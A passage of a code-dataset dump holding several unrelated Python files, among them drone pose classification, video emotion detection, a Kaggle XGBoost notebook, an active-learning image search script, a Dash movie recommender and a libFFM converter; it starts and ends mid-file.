mp.solutions.drawing_utils.draw_landmarks(\n            image,\n            results.pose_landmarks,\n            mp.solutions.pose.POSE_CONNECTIONS,\n            landmark_drawing_spec=mp.solutions.drawing_styles.get_default_pose_landmarks_style())\n\n    landmarks = []\n\n    # Check if any landmarks are detected.\n    if results.pose_landmarks is not None:\n        for landmark in results.pose_landmarks.landmark:\n            landmarks.append((landmark.x * image_width,\n                              landmark.y * image_height,\n                              landmark.z * image_width))\n\n    return image, landmarks\n\n\ndef calculateAngle(landmark1, landmark2, landmark3):\n    '''\n    Function to Calculate the Angle of a Joint\n    '''\n    l1 = np.array([landmark1[0], landmark1[1]])\n    l2 = np.array([landmark2[0], landmark2[1]])\n    l3 = np.array([landmark3[0], landmark3[1]])\n\n    v1 = l1 - l2\n    v2 = l3 - l2\n\n    angle = np.arccos(\n        np.dot(v1, v2) / (np.linalg.norm(v1) * np.linalg.norm(v2)))\n\n    angle = angle * 180 / math.pi\n\n    return angle\n\n\ndef gimmeAngles(landmarks, Print=False):\n    '''\n    Function to Calculate the Angles of the Joints\n    '''\n\n    if len(landmarks) == 0:\n        return None\n\n    else:\n        right_elbow_angle = calculateAngle(landmarks[mp.solutions.pose.PoseLandmark.LEFT_SHOULDER.value],\n                                           landmarks[mp.solutions.pose.PoseLandmark.LEFT_ELBOW.value],\n                                           landmarks[mp.solutions.pose.PoseLandmark.LEFT_WRIST.value])\n\n        left_elbow_angle = calculateAngle(landmarks[mp.solutions.pose.PoseLandmark.RIGHT_SHOULDER.value],\n                                          landmarks[mp.solutions.pose.PoseLandmark.RIGHT_ELBOW.value],\n                                          landmarks[mp.solutions.pose.PoseLandmark.RIGHT_WRIST.value])\n\n        right_shoulder_angle = calculateAngle(landmarks[mp.solutions.pose.PoseLandmark.LEFT_ELBOW.value],\n                                              landmarks[mp.solutions.pose.PoseLandmark.LEFT_SHOULDER.value],\n                                              landmarks[mp.solutions.pose.PoseLandmark.LEFT_HIP.value])\n\n        left_shoulder_angle = calculateAngle(landmarks[mp.solutions.pose.PoseLandmark.RIGHT_HIP.value],\n                                             landmarks[mp.solutions.pose.PoseLandmark.RIGHT_SHOULDER.value],\n                                             landmarks[mp.solutions.pose.PoseLandmark.RIGHT_ELBOW.value])\n\n        angles = (left_elbow_angle, right_elbow_angle,\n                  left_shoulder_angle, right_shoulder_angle)\n\n        if Print:\n            prompt = f'L E: {left_elbow_angle}, R E: {right_elbow_angle}, L S: {left_shoulder_angle}, R S: {right_shoulder_angle}'\n            print(prompt)\n\n        return angles\n\n\ndef isinrange(angle, origin, threshold):\n    '''\n    Function to Check if the Angle is in the Range of the Origin\n    '''\n\n    min = origin - threshold\n    max = origin + threshold\n\n    if angle > min and angle < max:\n        return True\n\n    return False\n\n\n# Pose Classification Tree\ndef classifyPose(angles, threshold=15):\n    '''\n    Function to Detect the Pose Based on the Angles\n\n    Poses: \n        1. Flip\n        2. Snapshot ==> Snap\n        3. Back\n        4. For\n        5. Left\n        6. Right\n        7. Land\n        0. Else: Active Track ==> AT\n    '''\n\n    if angles is None:\n        return 'AT'\n\n    else:\n        (LE, RE, LS, RS) = angles\n\n        # Flip Pose\n        if isinrange(LE, 90, threshold) and isinrange(RE, 90, threshold) and isinrange(LS, 90, threshold) and isinrange(RS, 90, threshold):\n            return 'Flip'\n\n        # SnapShot Pose\n        elif isinrange(LE, 0, threshold) and isinrange(RE, 0, threshold) and isinrange(LS, 0, threshold) and isinrange(RS, 0, threshold):\n            return 'Snap'\n\n        # Back Pose\n        elif isinrange(LE, 90, threshold) and isinrange(RE, 180, threshold) and isinrange(LS, 90, threshold) and isinrange(RS, 90, threshold):\n            return 'Back'\n\n        # For Pose\n        elif isinrange(LE, 180, threshold) and isinrange(RE, 90, threshold) and isinrange(LS, 90, threshold) and isinrange(RS, 90, threshold):\n            return 'For'\n\n        # Left Pose\n        elif isinrange(LE, 180, threshold) and isinrange(RE, 180, threshold) and isinrange(LS, 90, threshold) and isinrange(RS, 0, threshold):\n            return 'Left'\n\n        # Right Pose\n        elif isinrange(LE, 180, threshold) and isinrange(RE, 180, threshold) and isinrange(LS, 0, threshold) and isinrange(RS, 90, threshold):\n            return 'Right'\n\n        # Land Pose\n        elif isinrange(LE, 180, threshold) and isinrange(RE, 180, threshold) and isinrange(LS, 180, threshold) and isinrange(RS, 180, threshold):\n            return 'Land'\n\n        else:\n            return 'AT'\n\n\n\n# Function to take a SnapShot and Save it to the Directory with Specified Image Name\ndef snapshot(image):\n    '''\n    Function to Save the Image Into the Repo Named Snapshots \n    '''\n    # Create the Repo if it Does not Exist\n    os.makedirs('./Snapshots', exist_ok=True)\n\n    # Create the File Name\n    file_name = './Snapshots/' + str(datetime.datetime.now()) + '.jpg'\n\n    # Save the Image\n    cv2.imwrite(file_name, image)\n","repo_name":"BanaanKiamanesh/Pose-Ordered-Tello","sub_path":"utils/imgutils.py","file_name":"imgutils.py","file_ext":"py","file_size_in_byte":6754,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"22"}
+{"seq_id":"73280588856","text":"import cv2\nimport os\nimport sys\nimport numpy as np\nimport multiprocessing as mp\nfrom model_inference import run_retinaface, run_emotion_net\nfrom utils import get_frames, preprocess_input, to_dict, send_response\n\nsys.path.append('./retinaface_tf2')\n\ndef process_video(video_path, fps):\n    \n    video_frames = get_frames(video_path, fps)\n        \n    face_img_queue = mp.Queue()\n    video_preds_queue = mp.Queue()\n    \n    face_detection_process = mp.Process(target=run_retinaface, args = (video_frames, face_img_queue))\n    \n    face_detection_process.start()\n    video_face_imgs = face_img_queue.get()\n    face_detection_process.join()\n    \n    emotion_detection_process = mp.Process(target=run_emotion_net, args = (video_face_imgs, video_preds_queue))\n    \n    emotion_detection_process.start()\n    video_frame_preds = video_preds_queue.get()\n    emotion_detection_process.join()\n    \n    print('Video Successfully Processed')\n    \n    pred_dict = to_dict(video_frame_preds)\n    r = send_response(pred_dict)\n    \n    if (r.status_code == 200):\n        print(\"Predictions succesfully posted.\")\n    \n    return video_frame_preds\n\nif __name__ == \"__main__\":\n    \n    preds = process_video('./sample_videos/2020-03-09-124959.webm', 1)\n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n","repo_name":"harshablast/audience-ai-flask","sub_path":"audience_ai.py","file_name":"audience_ai.py","file_ext":"py","file_size_in_byte":1298,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"72956183415","text":"#!/usr/bin/env python\n# coding: utf-8\n\n\n\n# This Python 3 environment comes with many helpful analytics libraries installed\n# It is defined by the kaggle/python docker image: https://github.com/kaggle/docker-python\n# For example, here's several helpful packages to load in \n\nimport numpy as np # linear algebra\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\n\n# Input data files are available in the \"../input/\" directory.\n# For example, running this (by clicking run or pressing Shift+Enter) will list the files in the input directory\n\nimport os\nprint(os.listdir(\"../input\"))\n\n# Any results you write to the current directory are saved as output.\n\n\n\n\nimport xgboost as xgb\nimport matplotlib\nfrom sklearn.metrics import roc_auc_score\n\n\n\n\ndftrain = pd.read_csv('../input/train.csv')\ndftrain.head()\n\n\n\n\ndftest = pd.read_csv('../input/test.csv')\ndftest.head()\n\n\n\n\ntrain_cols = dftrain.columns\ntrain_cols = train_cols.drop(['ID_code','target'])\ntrain_cols\n\n\n\n\ndtrain = xgb.DMatrix(dftrain[train_cols], label = dftrain['target'])\ndtest = xgb.DMatrix(dftest[train_cols])\n\n\n\n\nparam = {'max_depth':10, 'eta':0.5, 'objective':'binary:logistic','eval_metric':'auc','gamma':100,'subsample':0.95,'lambda':1000,'alpha':1000, 'min_child_weight':100,\n         'max_delta_step':0,'tree_method':'hist','max_bin':1024,'max_leaves':1000,'grow_policy':'lossguide','feature_selector':'greedy','top_k':0}\n\n\n\n\nxgbmodel = xgb.train(param, dtrain)\npreds = xgbmodel.predict(dtest)\n\n\n\n\ndfprediction = dftest[['ID_code']]\n\n\n\n\ndfprediction['target']=preds\n\n\n\n\ndfprediction.head()\n\n\n\n\ndfprediction.to_csv(\"submission.csv\", index=False)\n\n","repo_name":"aorursy/lost-nb","sub_path":"amishgadigi_blind-xgboost-prediction.py","file_name":"amishgadigi_blind-xgboost-prediction.py","file_ext":"py","file_size_in_byte":1629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"44202677670","text":"nYears = 25\nrising_rate = 1.6  # millimeters\ntotal_level = 0.00\n\n# Calculate and display the levels each year\nprint('Year\\t| Ocean Level (mm)')\nprint('==========================')\nfor year in range(nYears+1):\n    total_level = (rising_rate * year)\n    print(year, '\\t| ', format(total_level, '.2f'))\n\n# Display totals\nprint('\\nTotal ocean level after', nYears, 'is', format(total_level, ',.2f'), \\\n        'mm')\n","repo_name":"dboyd42/python-fundamentals","sub_path":"starting-out-with-python/c4-repetition-structures/ocean-levels.py","file_name":"ocean-levels.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"3802097515","text":"import os\nimport pickle as pkl\nimport numpy as np\n\nfrom tensorflow.keras import models\n\nimport src.VisActive._settings as settings\nfrom src.VisActive.Utils.utils import load_hvc_model, get_ordered_file_names, get_file_name_from_path\nfrom src.VisActive.Utils.data_loader import generator_loader\nfrom src.VisActive.Utils.copy_images import copy_images_multi, calculate_recomm_accuracy_multi\n\ncopy_correct_images = True\n\n\n# ----------------------------------------------------------------------------------------------------------------------\n# Loading data\n\n# Create search generator\ntrain_generator, _, search_generator = generator_loader(settings.training_path,\n                                                        settings.training_path,\n                                                        settings.search_path,\n                                                        settings.image_shape,\n                                                        settings.image_shape,\n                                                        settings.batch_size)\n\n\n# Calculate the epoch size in terms of number of batches\ntrain_epoch_size = int(train_generator.samples / train_generator.batch_size)\nsearch_epoch_size = int(search_generator.samples / search_generator.batch_size)\n\nwith open(os.path.join(settings.output_search_directory, f'coverage.pkl'), 'rb') as f:\n    coverage = pkl.load(f, encoding='bytes')\nwith open(os.path.join(settings.output_search_directory, f'uniqueness.pkl'), 'rb') as f:\n    uniqueness = pkl.load(f, encoding='bytes')\n\n\nvc_of_class = {c: {i for i in range(c * settings.vc_per_class, (c + 1) * settings.vc_per_class)} for c in range(settings.num_classes)}\n\n\n# Get file name from file paths\ntraining_image_file_names = list()\nfor _ in range(train_epoch_size + 1):\n    input_x, _ = next(train_generator)\n    training_image_file_names += [get_file_name_from_path(f) for f in get_ordered_file_names(train_generator)]\n\n\n# ----------------------------------------------------------------------------------------------------------------------\n# Model\n\n# Load model\nmodel = load_hvc_model(model_path=settings.hvc_model_path,\n                       neural_network=settings.neural_network_hvc,\n                       num_classes=settings.num_classes,\n                       image_size=settings.image_shape,\n                       weight_decay=settings.weight_decay,\n                       drop_out=0,\n                       num_vc=settings.num_vc,\n                       p_h=settings.p_h,\n                       p_w=settings.p_w,\n                       p_d=settings.p_d)\n\n# Build hvc_model to get the VC output\nhvc_model = models.Model(inputs=model.input, outputs=model.get_layer('vcl').output)\n\n\n# ----------------------------------------------------------------------------------------------------------------------\n# Searching\n\nprint(f'Searching Started!')\n\n# output = [('image_name', activation_score, VC_num, sorted_vc, class_label, probability)]\noutput = list()\n\nfor counter in range(search_epoch_size):\n\n    input_x, _ = next(search_generator)\n    # Get file name from file paths\n    image_file_names = [get_file_name_from_path(f) for f in get_ordered_file_names(search_generator)]\n    # Get the class label for each image\n    class_predictions = model.predict(input_x)\n    class_probabilities = np.max(class_predictions, axis=-1)\n    class_predictions = np.argmax(class_predictions, axis=-1)\n    # Get the visual concept output\n    predictions = hvc_model.predict(input_x)\n    # shape [batch_size, num_vc]\n    activations = predictions[0]\n\n    for image_idx in range(search_generator.batch_size):\n        # Get the minimum distance to a VC\n        activation_score = np.max(activations[image_idx])\n        # Get the VC number of the minimum distance\n        max_activation_vc_num = np.argmax(activations[image_idx])\n        # Get the sorted VCs based on their minimum score in descending order\n        sorted_vc = np.argsort(activations[image_idx])[::-1]\n        # Get the image file name\n        image_file_name = image_file_names[image_idx]\n        # get the prediction probability\n        probability = class_probabilities[image_idx]\n        class_label = class_predictions[image_idx]\n        output.append((image_file_name, activation_score, max_activation_vc_num, sorted_vc, class_label, probability))\n\nwith open(os.path.join(settings.output_search_directory, 'output.txt'), 'w') as f:\n    for i in output:\n        f.write(f'{i[0]}\\t{i[1]}\\t{i[2]}\\t{i[3]}\\t{i[4]}\\t{i[5]}\\n')\nf.close()\n\n\n# ----------------------------------------------------------------------------------------------------------------------\n# Post-process the search\n\nprint(f'Post-process the search started!')\n\n\ncommon_vc = {c: [] for c in range(settings.num_classes)}\nrare_vc = {c: [] for c in range(settings.num_classes)}\nnot_sure = {c: [] for c in range(settings.num_classes)}\nunseen_samples = {c: [] for c in range(settings.num_classes)}\n\n# Load image name from the training dataset\nselected_images = set(training_image_file_names)\n\n# Sort based on the minimum distance\noutput.sort(key=lambda x: x[-1], reverse=True)\n\ncounter_ = 0\n\nfor image_file_name, activation_score, max_activation_vc_num, sorted_vc, class_label, probability in output:\n\n    if image_file_name in selected_images:\n        continue\n\n    counter_ += 1\n\n    # Get the class\n    class_ = int(max_activation_vc_num//settings.vc_per_class)\n\n    # Calculate the not-sure images\n    vc_belongs_to_class = {c: 0 for c in range(settings.num_classes)}\n    for vc in sorted_vc[:settings.gama]:\n        vc_belongs_to_class[int(vc//settings.vc_per_class)] += 1\n\n    # 1) Samples with not-sure concepts\n    unsure = False\n    for c in range(settings.num_classes):\n        if vc_belongs_to_class[c] == settings.gama / 2:\n            unsure = True\n\n    if unsure:\n        not_sure[class_].append((image_file_name, activation_score, max_activation_vc_num))\n        selected_images.add(image_file_name)\n\n    else:\n        if counter_ >= (search_generator.samples - train_generator.samples) * 0.6:\n            continue\n\n        # 2) Rare class samples with common concepts\n        if coverage[max_activation_vc_num] >= settings.alpha:\n            common_vc[class_].append((image_file_name, activation_score, max_activation_vc_num))\n            selected_images.add(image_file_name)\n\n        # 3) Rare class samples with rare concepts\n        else:  # if uniqueness[max_activation_vc_num] >= settings.beta:\n            rare_vc[class_].append((image_file_name, activation_score, max_activation_vc_num))\n            selected_images.add(image_file_name)\n\n\n# Sample with unseen concepts\ncounter_ = 0\nfor image_file_name, activation_score, max_activation_vc_num, sorted_vc, class_label, probability in output[::-1]:\n\n    if image_file_name in selected_images:\n        continue\n\n    counter_ += 1\n\n    # Get the class\n    class_ = int(max_activation_vc_num // settings.vc_per_class)\n\n    # Calculate the not-sure images\n    vc_belongs_to_class = {c: 0 for c in range(settings.num_classes)}\n    for vc in sorted_vc[:settings.gama]:\n        vc_belongs_to_class[int(vc // settings.vc_per_class)] += 1\n\n    # 1) Samples with not-sure concepts\n    unsure = False\n    for c in range(settings.num_classes):\n        if vc_belongs_to_class[c] == settings.gama / 2:\n            unsure = True\n\n    if unsure:\n        continue\n\n    else:\n        unseen_samples[class_].append((image_file_name, activation_score, max_activation_vc_num))\n        selected_images.add(image_file_name)\n\n    if counter_ >= (search_generator.samples - train_generator.samples) * 0.4:\n        break\n\n\n# ----------------------------------------------------------------------------------------------------------------------\n# Calculate the correctness of the selected image\nfor c in range(settings.num_classes):\n    calculate_recomm_accuracy_multi(common_vc[c], settings.class_file_name[c], f'class_{c}_common_vc')\n    calculate_recomm_accuracy_multi(rare_vc[c], settings.class_file_name[c], f'class_{c}_rare_vc')\n    calculate_recomm_accuracy_multi(not_sure[c], settings.class_file_name[c], f'class_{c}_not_sure')\n    calculate_recomm_accuracy_multi(unseen_samples[c], settings.class_file_name[c], f'class_{c}_unseen_samples')\n\n\n# ----------------------------------------------------------------------------------------------------------------------\n# Copy the selected images into directories\n# Ex. recommend 100 for rare 100 and 100 for common, and then all the 200 images will go the labeled dataset for both classes.\nif copy_correct_images:\n\n    for c in range(settings.num_classes):\n        save_dir = os.path.join(settings.output_search_directory, f'class_{c}')\n        if not os.path.isdir(save_dir):\n            os.makedirs(save_dir)\n\n    class_file_name_reverse = {v: k for k, v in settings.class_file_name.items()}\n\n    for c in range(settings.num_classes):\n\n        print(f'Copying images with common_vc for class {c}')\n        copy_images_multi(settings.output_search_directory,\n                          common_vc[c],\n                          settings.search_path,\n                          settings.delta_per_set,\n                          settings.class_names,\n                          class_file_name_reverse)\n\n        print(f'Copying images with rare_vc for class {c}')\n        copy_images_multi(settings.output_search_directory,\n                          rare_vc[c],\n                          settings.search_path,\n                          settings.delta_per_set,\n                          settings.class_names,\n                          class_file_name_reverse)\n\n        print(f'Copying images with cross_vc for class {c}')\n        copy_images_multi(settings.output_search_directory,\n                          not_sure[c],\n                          settings.search_path,\n                          settings.delta_per_set,\n                          settings.class_names,\n                          class_file_name_reverse)\n\n        print(f'Copying images with unseen_vc for class {c}')\n        copy_images_multi(settings.output_search_directory,\n                          unseen_samples[c],\n                          settings.search_path,\n                          settings.delta_per_set,\n                          settings.class_names,\n                          class_file_name_reverse)\n\n\n# ----------------------------------------------------------------------------------------------------------------------\n\nfor c in range(settings.num_classes):\n    list_len = settings.delta_per_set if len(common_vc[c]) > settings.delta_per_set else len(common_vc[c])\n    print(f'len of common_vc:   {len([img[0] for img in common_vc[c][:list_len] if img[0][:len(settings.rare_class_file_name)] == settings.rare_class_file_name])}')\n    list_len = settings.delta_per_set if len(rare_vc[c]) > settings.delta_per_set else len(rare_vc[c])\n    print(f'len of rare_vc:     {len([img[0] for img in rare_vc[c][:list_len] if img[0][:len(settings.rare_class_file_name)] == settings.rare_class_file_name])}')\n    list_len = settings.delta_per_set if len(not_sure[c]) > settings.delta_per_set else len(not_sure[c])\n    print(f'len of cross_vc:    {len([img[0] for img in not_sure[c][:list_len] if img[0][:len(settings.rare_class_file_name)] == settings.rare_class_file_name])}')\n    list_len = settings.delta_per_set if len(unseen_samples[c]) > settings.delta_per_set else len(unseen_samples[c])\n    print(f'len of rare_unseen: {len([img[0] for img in unseen_samples[c][:list_len] if img[0][:len(settings.rare_class_file_name)] == settings.rare_class_file_name])}')\n","repo_name":"cml-cs-iastate/VisActive","sub_path":"src/VisActive/3_search.py","file_name":"3_search.py","file_ext":"py","file_size_in_byte":11564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"20376855399","text":"from flask import Flask,request,jsonify\nfrom flask_cors import CORS\nimport imdb\n\nimport dash\nimport dash_bootstrap_components as dbc\nfrom dash import html, Input, Output, State, callback\n\nimport recommendation\n\n\nserver = Flask(__name__)\napp = dash.Dash(__name__, server=server,\n\t\t\t\ttitle=\"Box Office Data Explorer\",\n\t\t\t\tupdate_title='Updating...',\n\t\t\t\tsuppress_callback_exceptions=True,\n\t\t\t\texternal_stylesheets=[dbc.themes.QUARTZ])\nCORS(server) \nia = imdb.IMDb()\n\napp.layout = html.Div(\n\t[\n\t\thtml.H1('Simple Movie Recommendation System',   style = {\"margin\":\"5% auto\"}),\n\t\thtml.Div(\n\t\t\t\t[dbc.Input(id=\"searchbarinput\", placeholder=\"Type something...\", type=\"text\", style={\"margin-right\":\"20px\"}),\n\t\t\t\tdbc.Button(\"Search\", id=\"searchbutton\", size=\"lg\", color=\"primary\",  style = {\"margin-inline\":\"auto\", \"width\":\"200px\"}),\n\t\t\t\t],\n\t\tid=\"mainpage-searchbar\",\n\t\tstyle = {\"width\":\"70%\", \"margin-inline\":\"auto\",  \"display\":\"flex\" }\n\t\t),\n\t\thtml.Div([],\n\t\tid=\"searchdropdown\",\n\t\tstyle={\"width\":\"70%\", \"margin-inline\":\"auto\",}\n\t\t),\n\t\thtml.Div([],\n\t\tid=\"moviedetails\",\n\t\tstyle={\"width\":\"90%\", \"margin-inline\":\"auto\",}\n\t\t)\n\t\n\t],\n\tid=\"page-content\",\n\tstyle={\"display\": \"flex\", \"flexDirection\": \"column\", \"height\":\"1440px\", \"background-image\": \"url(static/image.jpg)\"},\n)\n\n\n\n#----------------------------------------\n# Call back section\n#----------------------------------------\n\n@callback(\n\t\tOutput(\"searchdropdown\", \"children\"),\n\t\t[Input('searchbarinput', 'value')])\ndef get_movie_details(searchbarinput):\n\t\tif len(searchbarinput)==0:\n\t\t\treturn\n\t\telse:\n\t\t\tsearch_movie = ia.search_movie(searchbarinput)\n\t\t\tif len(search_movie) ==0:\n\t\t\t\tlist_group = dbc.ListGroup([dbc.ListGroupItem(\"Sorry, we can't not find that movie\",action=True)])\n\t\t\telse:\n\t\t\t\tlist_group = dbc.ListGroup(\n\t\t\t\t\t\t\t\t\t\t[\n\t\t\t\t\t\t\t\t\t\tdbc.ListGroupItem(str(i.data['title'])+' ('+str(i.data['year'])+')',action=True) for i in search_movie[:5] \n\t\t\t\t\t\t\t\t\t\t])\n\t\t\treturn list_group\n\n\n@callback(\n\t\t\toutput\n)\n#----------------------------------------\n# Routing section\n#----------------------------------------\n\n@server.route('/movie', methods=['GET'])\ndef recommend_movies():\n\t\tres = recommendation.results(request.args.get('title'))\n\t\treturn jsonify(res)\n\nif __name__=='__main__':\n\t\tserver.run(port = 5000, debug = True)\n","repo_name":"DolanCoder/exercise_movie_recommendation_API","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2269,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"18800413185","text":"import re\nfrom bs4 import BeautifulSoup\nimport requests\nexisting=re.compile('.*public_name: \"(?P<name>.*)\"')\n\n\nwith open(\"C:/MAMP/htdocs/MHWTools/armorcalc/decos.js\") as f:\n    alls=existing.findall(f.read())\nwith open(\"MHWTools.html\") as f:\n    soup=BeautifulSoup(f.read(),\"lxml\")\n# r=requests.get(\"http://localhost/MHWTools/\")\n# soup=BeautifulSoup(str(r),\"lxml\")\n\nexisting=soup.find_all(\"span\",{\"traslation-section\":\"skills\"})\n\nskill_existing=[e.contents[0] for e in existing]\nskill_transl=[e[\"translation-key\"] for e in existing]\n\n\n# for s in skill_existing:\n#     if s not in skill_transl:\n#         print(s)\n# print(skill_transl)\nfor skill in alls:\n     if skill not in skill_existing:\n            if skill not in skill_transl:\n                print(\"Nowhere: \",skill)\n            # else:\n            #     print(skill,skill_transl)\n            #     print(\"Ill translated\",skill)\n","repo_name":"Cocobug/MHWToolsHelper","sub_path":"_missing_skills.py","file_name":"_missing_skills.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"74996843255","text":"#!/usr/bin/env python3\n\n# coding: utf-8\n\n# In[ ]:\n\n# This Python 3 environment comes with many helpful analytics libraries installed\n# It is defined by the kaggle/python docker image: https://github.com/kaggle/docker-python\n# For example, here's several helpful packages to load in \n\n\n\n\n####!/usr/bin/env python3 -m cProfile\n\nimport numpy as np # linear algebra\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\nimport argparse,sys\nfrom collections import OrderedDict\n# Input data files are available in the \"../input/\" directory.\n# For example, running this (by clicking run or pressing Shift+Enter) will list the files in the input directory\nimport gc\nimport os\nimport hashlib\nimport csv\nimport mmh3\nfrom contextlib import contextmanager\n\nimport os, psutil, time\n\n\ndef cpuStats():\n    pid = os.getpid()\n    py = psutil.Process(pid)\n    memoryUse = py.memory_info()[0] / 2. ** 30\n    gc.collect()\n    # all_objects = muppy.get_objects()\n    # sum1 = summary.summarize(all_objects)\n    # summary.print_(sum1)\n\n    return memoryUse\n\n@contextmanager\ndef timer(name):\n    t0 = time.time()\n    print('start ',name)\n    yield\n    print('[{}] done in {} s'.format(name, time.time() - t0))\n    print('mem after {}: {}'.format(name, cpuStats()))\n\nacro_names = {\n    'ip': 'I',\n    'app': 'A',\n    'device': 'D',\n    'os': 'O',\n    'channel': 'C',\n    'hour': 'H',\n    'ip_day_hourcount': 'IDH-',\n    'ip_day_hour_oscount': 'IDHO-',\n    'ip_day_hour_appcount': 'IDHA-',\n    'ip_day_hour_app_oscount': 'IDHAO-',\n    'ip_app_oscount': \"IAO-\",\n    'ip_appcount': \"IA-\",\n    'ip_devicecount': \"ID-\",\n    'app_channelcount': \"AC-\",\n    'app_day_hourcount': 'ADH-',\n    'ip_in_test_hhcount': \"IITH-\",\n    'next_click': 'NC',\n    'app_channel': 'AC',\n    'os_channel': 'OC',\n    'app_device': 'AD',\n    'app_os_channel': 'AOC',\n    'ip_app': 'IA',\n    'app_os': 'AO'\n}\n\nNR_BINS = 1000000\n\ndef hashstr(input):\n    return str(mmh3.hash(input) %(NR_BINS-1)+1)\n    #return str(int(hashlib.md5(input.encode('utf8')).hexdigest(), 16)%(NR_BINS-1)+1)\n\nprint(os.listdir(\"../input\"))\n\nimport logging\nlogger = logging.getLogger('myapp')\nhdlr = logging.FileHandler('./ffm_converter.log')\nformatter = logging.Formatter('%(asctime)s %(levelname)s %(message)s')\nhdlr.setFormatter(formatter)\nlogger.addHandler(hdlr) \nlogger.setLevel(logging.INFO)\n\n\n\n# Any results you write to the current directory are saved as output.\n\n'''\nAnother CTR comp and so i suspect libffm will play its part, after all it is an atomic bomb for this kind of stuff.\nA sci-kit learn inspired script to convert pandas dataframes into libFFM style data.\n\nThe script is fairly hacky (hey thats Kaggle) and takes a little while to run a huge dataset.\nThe key to using this class is setting up the features dtypes correctly for output (ammend transform to suit your needs)\n\nExample below\n\n\n'''\n\n\nclass FFMFormatPandas:\n    def __init__(self):\n        self.field_index_ = None\n        self.feature_index_ = None\n        self.y = None\n\n    def fit(self, df, y=None):\n        self.y = y\n        logger.info('fitting')\n        df_ffm = df[df.columns.difference([self.y])]\n        if self.field_index_ is None:\n            self.field_index_ = {col: i for i, col in enumerate(df_ffm)}\n\n        if self.feature_index_ is not None:\n            last_idx = max(list(self.feature_index_.values()))\n\n        if self.feature_index_ is None:\n            self.feature_index_ = dict()\n            last_idx = 0\n\n        for col in df.columns:\n            logger.info('fit procssing %s', col)\n            vals = df[col].unique()\n            for val in vals:\n                if pd.isnull(val):\n                    continue\n                name = '{}_{}'.format(col, val)\n                if name not in self.feature_index_:\n                    self.feature_index_[name] = last_idx\n                    last_idx += 1\n            self.feature_index_[col] = last_idx\n            last_idx += 1\n        return self\n\n    def fit_transform(self, df, y=None):\n        self.fit(df, y)\n        return self.transform(df)\n\n    def transform_row_(self, idx, row, t):\n        if idx % 10000 == 0:\n            logger.info('transforming idx: %d, %s, %s',idx, row, t)\n        ffm = []\n        ffm.append(str(idx))\n        if self.y != None:\n            ffm.append(str(row.loc[row.index == self.y][0]))\n        if self.y is None:\n            ffm.append(str(0))\n            \n        items = row.loc[row.index != self.y].to_dict(into=OrderedDict).items()\n\n        for col, val in items:\n            #col_type = t[col]\n            name = '_'.join([str(col), str(val)])\n            ffm.append(hashstr(name))\n            #if col_type.kind ==  'O':\n            #    ffm.append(':'.join[str(self.field_index_[col]), str(self.feature_index_[name]),'1'])\n            #elif col_type.kind == 'u' or col_type.kind == 'i':\n            #    ffm.append(':'.join([str(self.field_index_[col]), str(self.feature_index_[col]), str(val)]))\n\n        return ' '.join(ffm)\n\n    def transform(self, df):\n        t = df.dtypes.to_dict()\n        logger.info('transforming')\n        if 'click_id' in df.columns:\n            print('use click_id as idx')\n            df = df.set_index('click_id')\n        return pd.Series({idx: self.transform_row_(idx, row, t) for idx, row in df.iterrows()})\n\n\ndef convert_features_to_text(data, predictors, hash = False):\n    NR_BINS = 1000000\n\n    def hashstr(input):\n        #return str(int(hashlib.md5(input.encode('utf8')).hexdigest(), 16) % (NR_BINS - 1) + 1)\n        return str(mmh3.hash_from_buffer(input, signed=False) % (NR_BINS - 1) + 1)\n\n    with timer('convert_features_to_text'):\n        i = 0\n        str_array = None\n        assign_name_id = 0\n        for feature in predictors:\n            if feature == 'click_id':\n                continue\n            acro_name_to_dump = ''\n            if not feature in acro_names:\n                print('{} missing acronym, assign name AN{}'.format(feature, assign_name_id))\n                acro_name_to_dump = 'AN' + str(assign_name_id)\n                assign_name_id += 1\n            else:\n                acro_name_to_dump =  acro_names[feature]\n            if str_array is None:\n                if 'click_id' in data.columns:\n                    str_array = data['click_id'].astype(str) + ' '\n                else:\n                    str_array = data.index.astype(str) + ' '\n\n                if 'is_attributed' in data.columns:\n                    str_array = str_array + data['is_attributed'].astype(str)\n                else:\n                    str_array = str_array + '0'\n            else:\n                if not hash:\n                    str_array = str_array + \" \" + acro_name_to_dump + \"_\" + data[feature].astype(str)\n                else:\n                    temp = (acro_name_to_dump + \"_\" + data[feature].astype(str)). \\\n                        apply(hashstr)\n                    str_array = str_array + \" \" + temp\n\n            gc.collect()\n            print('mem after gc:', cpuStats())\n            i += 1\n\n        str_array = str_array.values\n        return str_array\n\n\n\nif len(sys.argv) == 1:\n    sys.argv.append('-h')\n\nparser = argparse.ArgumentParser()\nparser.add_argument('tr_src_path')\nparser.add_argument('va_src_path')\nparser.add_argument('tr_dst_path')\nparser.add_argument('va_dst_path')\nargs = vars(parser.parse_args())\n\nimport pickle\ndtypes = pickle.load(open(\"output_dtypes.pickle\",'rb'))\nprint('use dtypes:',dtypes)\n#data = pd.read_csv(args['tr_src_path'], parse_dates=[\"click_time\"],dtype=dtypes,header=0)#.sample(1000)\n#data.drop('click_time', axis=1, inplace=True)\n#data.drop('ip', axis=1, inplace=True)\n#print('data:',data)\n\n#data = pd.read_csv(args['va_src_path'], parse_dates=[\"click_time\"],dtype=dtypes,header=0)#.sample(1000)\n#data.drop('click_time', axis=1, inplace=True)\n#data.drop('ip', axis=1, inplace=True)\n\nwith timer(\"convert data:\"):\n    old_way = False\n    if old_way:\n        with timer('load train:'):\n            data = pd.read_csv(args['tr_src_path'], dtype=dtypes, header=0, engine='c')  # .sample(1000)\n        with timer('convert train:'):\n            ffm_train = 